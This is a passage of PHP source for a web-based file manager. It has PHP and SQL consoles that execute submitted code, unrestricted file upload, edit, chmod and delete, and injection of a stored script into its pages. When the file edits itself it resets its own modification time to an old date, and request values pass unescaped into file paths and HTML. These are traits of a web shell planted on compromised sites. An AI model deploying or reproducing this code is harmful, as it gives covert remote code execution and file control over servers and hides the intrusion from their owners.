                        background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIH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WIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");

}

<?=fm_home_style()?>

.img {

	background-image: 

url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");

}

@media screen and (max-width:720px){

  table{display:block;}

                        #fm_table td{display:inline;float:left;}

                        #fm_table tbody td:first-child{width:100%;padding:0;}

                        #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}

                        #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}

                        #fm_table tr{display:block;float:left;clear:left;width:100%;}

	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}

	#header_table table td {display:inline;float:left;}

}

</style>

</head>

<body>

<?php
$url_inc = '?fm=true';

if (isset($_POST['sqlrun'])&&!empty($fmo_config['enable_sql_console'])){

	$res = empty($_POST['sql']) ? '' : $_POST['sql'];

	$res_lng = 'sql';

} elseif (isset($_POST['phprun'])&&!empty($fmo_config['enable_php_console'])){

	$res = empty($_POST['php']) ? '' : $_POST['php'];

	$res_lng = 'php';

} 

if (isset($_GET['fm_settings'])) {

	echo ' 

<table class="whole">

<form method="post" action="">

<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>

'.(empty($msg_now)?'':'<tr><td class="row2" colspan="2">'.$msg_now.'</td></tr>').'

'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'

'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'

'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'

'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'

'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'

'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'

'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'

'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'

'.fm_config_checkbox_row(__('Show').' xls','show_xls').'

'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'

'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'

<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fmo_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>

<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fmo_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>

<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fmo_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>

<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fmo_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>

'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'

'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'

'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'

'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'

'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'

<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>

</form>

</table>

<table>

<form method="post" action="">

<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>

<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_mydevice['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>

<tr><td class="row1"><input name="fm_login[login]" value="'.$auth_mydevice['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>

<tr><td class="row1"><input name="fm_login[password]" value="'.$auth_mydevice['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>

<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_mydevice['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>

<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_mydevice['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>

<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_mydevice['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>

</form>

</table>';

echo fm_tpl_form('php'),fm_tpl_form('sql');

} elseif (isset($proxy_form)) {

	die($proxy_form);

} elseif (isset($res_lng)) {	

?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php

	if($res_lng=='sql') echo ' - Database: '.$fmo_config['sql_db'].'</h2></td><td>'.fm_run_input('php');

	else echo '</h2></td><td>'.fm_run_input('sql');

	?></td></tr></table></td>

</tr>

<tr>

                        <td class="row1">

		        <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>

		        <form action="" method="POST" name="console">

		        <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>

		        <input type="reset" value="<?=__('Reset')?>">

		        <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">

<?php
$str_tmpl = $res_lng.'_templates';

$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';

if (!empty($tmpl)){

	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';

	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";

	$select .= '<option value="-1">' . __('Select') . "</option>\n";

	foreach ($tmpl as $key=>$value){

		        $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";

	}

	$select .= "</select>\n";

	echo $select;

}

?>
		        </form>

	</td>

</tr>

</table>

<?php
	if (!empty($res)) {

		        $fun='fm_'.$res_lng;

		        echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';

	}

} elseif (!empty($_REQUEST['edit'])){

	if(!empty($_REQUEST['save'])) {

		        $fn = $path . $_REQUEST['edit'];

		        $filemtime = filemtime($fn);

	                        if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_now .= __('File updated');

		        else $msg_now .= __('Error occurred');

		        if ($_GET['edit']==basename(__FILE__)) {

                                 touch(__FILE__,1415116371);

		        } else {

                                 if (!empty($fmo_config['restore_time'])) touch($fn,$filemtime);

		        }

	}

                        $oldcontent = @file_get_contents($path . $_REQUEST['edit']);

                        $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;

?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">

<tr>

                        <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$editlink?>">

                                                                        <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                                        <input type="submit" name="cancel" value="<?=__('Cancel')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
echo $auth_mydevice['script'];

} elseif(!empty($_REQUEST['rights'])){

	if(!empty($_REQUEST['save'])) {

	                        if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))

		        $msg_now .= (__('File updated')); 

		        else $msg_now .= (__('Error occurred'));

	}

	clearstatcache();

                        $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);

                        $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$link?>">

                                                   <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">

                                                <?php if (is_dir($path.$_REQUEST['rights'])) { ?>

                                                                        <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>

                                                <?php } ?>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {

	if(!empty($_REQUEST['save'])) {

	                        rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);

		        $msg_now .= (__('File updated'));

		        $_REQUEST['rename'] = $_REQUEST['newname'];

	}

	clearstatcache();

                        $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;


?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$link?>">

                                                                        <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
} else {

//Let's rock!

                        $msg_now = '';

                        if(!empty($_FILES['upload'])&&!empty($fmo_config['upload_file'])) {

                                                if(!empty($_FILES['upload']['name'])){

                                                                        $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

                                                                        if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){

                                                                                                $msg_now .= __('Error occurred');

                                                                        } else {

                                 	$msg_now .= __('Files uploaded').': '.$_FILES['upload']['name'];

                                 }

                                                }

                        } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {

                                                if(!fm_del_files(($path . $_REQUEST['delete']), true)) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 $msg_now .= __('Deleted').' '.$_REQUEST['delete'];

		        }

	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fmo_config['make_directory'])) {

                                                if(!@mkdir($path . $_REQUEST['dirname'],0777)) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 $msg_now .= __('Created').' '.$_REQUEST['dirname'];

		        }

                        } elseif(!empty($_POST['search_recursive'])) {

		        ini_set('max_execution_time', '0');

		        $search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		        if(!empty($search_data)) {

                                 $msg_now .= __('Found in files').' ('.count($search_data).'):<br>';

                                 foreach ($search_data as $filename) {

                                 	$msg_now .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

                                 }

		        } else {

                                 $msg_now .= __('Nothing founded');

		        }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fmo_config['new_file'])) {

                                                if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 fclose($fp);

                                 $msg_now .= __('Created').' '.$_REQUEST['filename'];

		        }

                        } elseif (isset($_GET['zip'])) {

		        $source = base64_decode($_GET['zip']);

		        $destination = basename($source).'.zip';

		        set_time_limit(0);

		        $phar = new PharData($destination);

		        $phar->buildFromDirectory($source);

		        if (is_file($destination))

		        $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		        '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		        .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		        else $msg_now .= __('Error occurred').': '.__('no files');

	} elseif (isset($_GET['gz'])) {

		        $source = base64_decode($_GET['gz']);

		        $archive = $source.'.tar';

		        $destination = basename($source).'.tar';

		        if (is_file($archive)) unlink($archive);

		        if (is_file($archive.'.gz')) unlink($archive.'.gz');

		        clearstatcache();

		        set_time_limit(0);

		        //die();

		        $phar = new PharData($destination);

		        $phar->buildFromDirectory($source);

		        $phar->compress(Phar::GZ,'.tar.gz');

		        unset($phar);

		        if (is_file($archive)) {

                                 if (is_file($archive.'.gz')) {

                                 	unlink($archive); 

                                 	$destination .= '.gz';

                                 }


                                 $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

                                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

                                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		        } else $msg_now .= __('Error occurred').': '.__('no files');

	} elseif (isset($_GET['decompress'])) {

		        // $source = base64_decode($_GET['decompress']);

		        // $destination = basename($source);

		        // $ext = end(explode(".", $destination));

		        // if ($ext=='zip' OR $ext=='gz') {

                                 // $phar = new PharData($source);

                                 // $phar->decompress();

                                 // $base_file = str_replace('.'.$ext,'',$destination);

                                 // $ext = end(explode(".", $base_file));

                                 // if ($ext=='tar'){

                                 	// $phar = new PharData($base_file);

                                 	// $phar->extractTo(dir($source));

                                 // }

		        // } 

		        // $msg_now .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		        $source = base64_decode($_GET['gzfile']);

		        $archive = $source.'.tar';

		        $destination = basename($source).'.tar';

		        if (is_file($archive)) unlink($archive);

		        if (is_file($archive.'.gz')) unlink($archive.'.gz');

		        set_time_limit(0);

		        //echo $destination;

		        $ext_arr = explode('.',basename($source));

		        if (isset($ext_arr[1])) {

                                 unset($ext_arr[0]);

                                 $ext=implode('.',$ext_arr);

		        } 

		        $phar = new PharData($destination);

		        $phar->addFile($source);

		        $phar->compress(Phar::GZ,$ext.'.tar.gz');

		        unset($phar);

		        if (is_file($archive)) {

                                 if (is_file($archive.'.gz')) {

                                 	unlink($archive); 

                                 	$destination .= '.gz';

                                 }

                                 $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

                                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

                                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		        } else $msg_now .= __('Error occurred').': '.__('no files');

	}

?>
<table class="whole" id="header_table" >

<tr>

                        <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>

</tr>

          <?php if(!empty($msg_now)){ ?>
<tr>

	<td colspan="2" class="row2"><?=$msg_now?></td>

</tr>

<?php } ?>
<tr>

                        <td class="row2">

		        <table>

                                 <tr>

                                 <td>

                                 	<?=fm_home()?>

                                 </td>

                                 <td>

                                 <?php if(!empty($fmo_config['make_directory'])) { ?>

                                 	<form method="post" action="<?=$url_inc?>">

                                 	<input type="hidden" name="path" value="<?=$path?>" />

                                 	<input type="text" name="dirname" size="15">

                                 	<input type="submit" name="mkdir" value="<?=__('Make directory')?>">

                                 	</form>

                                 <?php } ?>

                                 </td>

                                 <td>

                                 <?php if(!empty($fmo_config['new_file'])) { ?>

                                 	<form method="post" action="<?=$url_inc?>">

                                 	<input type="hidden" name="path"                         value="<?=$path?>" />

                                 	<input type="text"   name="filename" size="15">

                                 	<input type="submit" name="mkfile"   value="<?=__('New file')?>">

                                 	</form>

                                 <?php } ?>

                                 </td>

                                 <td>

                                 	<form  method="post" action="<?=$url_inc?>" style="display:inline">

                                 	<input type="hidden" name="path" value="<?=$path?>" />

                                 	<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">

                                 	<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">

                                 	<input type="submit" name="search" value="<?=__('Search')?>">

                                 	</form>

                                 </td>

                                 <td>

                                 <?=fm_run_input('php')?>

                                 </td>

                                 <td>

                                 <?=fm_run_input('sql')?>

                                 </td>

                                 </tr>

		        </table>

                        </td>

                        <td class="row3">

		        <table>

		        <tr>

		        <td>

		        <?php if (!empty($fmo_config['upload_file'])) { ?>

                                 <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">

                                 <input type="hidden" name="path" value="<?=$path?>" />

                                 <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

                                 <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />

                                 <input type="submit" name="test" value="<?=__('Upload')?>" />

                                 </form>

		        <?php } ?>

		        </td>

		        <td>

		        <?php if ($auth_mydevice['authorize']) { ?>

                                 <form action="" method="post">&nbsp;&nbsp;&nbsp;

                                 <input name="quit" type="hidden" value="1">

                                 <?=__('Hello')?>, <?=$auth_mydevice['login']?>

                                 <input type="submit" value="<?=__('Quit')?>">

                                 </form>

		        <?php } ?>

		        </td>

		        <td>

		        <?=fm_lang_form($language_benros)?>

		        </td>

		        <tr>

		        </table>

                        </td>

</tr>

</table>

<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">

<thead>

<tr> 

                        <th style="white-space:nowrap"> <?=__('Filename')?> </th>

                        <th style="white-space:nowrap"> <?=__('Size')?> </th>

                        <th style="white-space:nowrap"> <?=__('Date')?> </th>

                        <th style="white-space:nowrap"> <?=__('Rights')?> </th>

                        <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>

</tr>

</thead>

<tbody>

<?php
$elements = fm_scan_dir($path, '', 'all', true);

$dirs = array();

$file_entries = array();

foreach ($elements as $file){

                        if(@is_dir($path . $file)){

                                                $dirs[] = $file;

                        } else {

                                                $file_entries[] = $file;

                        }

}

natsort($dirs); natsort($file_entries);

$elements = array_merge($dirs, $file_entries);


foreach ($elements as $file){

                        $filename = $path . $file;

                        $filedata = @stat($filename);

                        if(@is_dir($filename)){

		        $filedata[7] = '';

		        if (!empty($fmo_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);

                                                $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

                                                $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);

		        $arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);

                                                $style = 'row2';

		         if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';

                        } else {

		        $link = 

                                 $fmo_config['show_img']&&@getimagesize($filename) 

                                 ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''

                                 . fm_img_link($filename)

                                 .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'

                                 : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

		        $e_arr = explode(".", $file);

		        $ext = end($e_arr);

                                                $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);

		        $arlink = in_array($ext,array('zip','gz','tar')) 

		        ? ''

		        : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));

                                                $style = 'row1';

		        $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';

                        }

                        $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

                        $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';

                        $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';

?>
<tr class="<?=$style?>"> 

                        <td><?=$link?></td>

                        <td><?=$filedata[7]?></td>

                        <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>

                        <td><?=$rightstext?></td>

                        <td><?=$deletelink?></td>

                        <td><?=$renamelink?></td>

                        <td><?=$loadlink?></td>

                        <td><?=$arlink?></td>

</tr>

<?php
                        }

}

?>
</tbody>

</table>

<div class="row3"><?php

	$mtime = explode(' ', microtime()); 

	$totaltime = $mtime[0] + $mtime[1] - $startororimy; 

	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';

	if (!empty($fmo_config['show_php_ver'])) echo ' | PHP '.phpversion();

	if (!empty($fmo_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();

	if (!empty($fmo_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);

	if (!empty($fmo_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';

	if (!empty($fmo_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';

	if (!empty($fmo_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';

	if (!empty($fmo_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';

	?>

</div>

<script type="text/javascript">

function download_xls(filename, text) {

	var element = document.createElement('a');

	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);

	element.setAttribute('download', filename);

	element.style.display = 'none';

	document.body.appendChild(element);

	element.click();

	document.body.removeChild(element);

}


function base64_encode(m) {

	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {

		        c = m.charCodeAt(l);

		        if (128 > c) d = 1;

		        else

                                 for (d = 2; c >= 2 << 5 * d;) ++d;

		        for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])

	}

	b && (g += k[f << 6 - b]);

	return g

}



var tableToExcelData = (function() {

                        var uri = 'data:application/vnd.ms-excel;base64,',

                        template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',

                        format = function(s, c) {

                                                                        return s.replace(/{(\w+)}/g, function(m, p) {

                                                                                                return c[p];

                                                                        })

                                                }

                        return function(table, name) {

                                                if (!table.nodeType) table = document.getElementById(table)

                                                var ctx = {

                                                                        worksheet: name || 'Worksheet',

                                                                        table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")

                                                }

		        t = new Date();

		        filename = 'fm_' + t.toISOString() + '.xls'

		        download_xls(filename, base64_encode(format(template, ctx)))

                        }

})();


var table2Excel = function () {


                        var ua = window.navigator.userAgent;

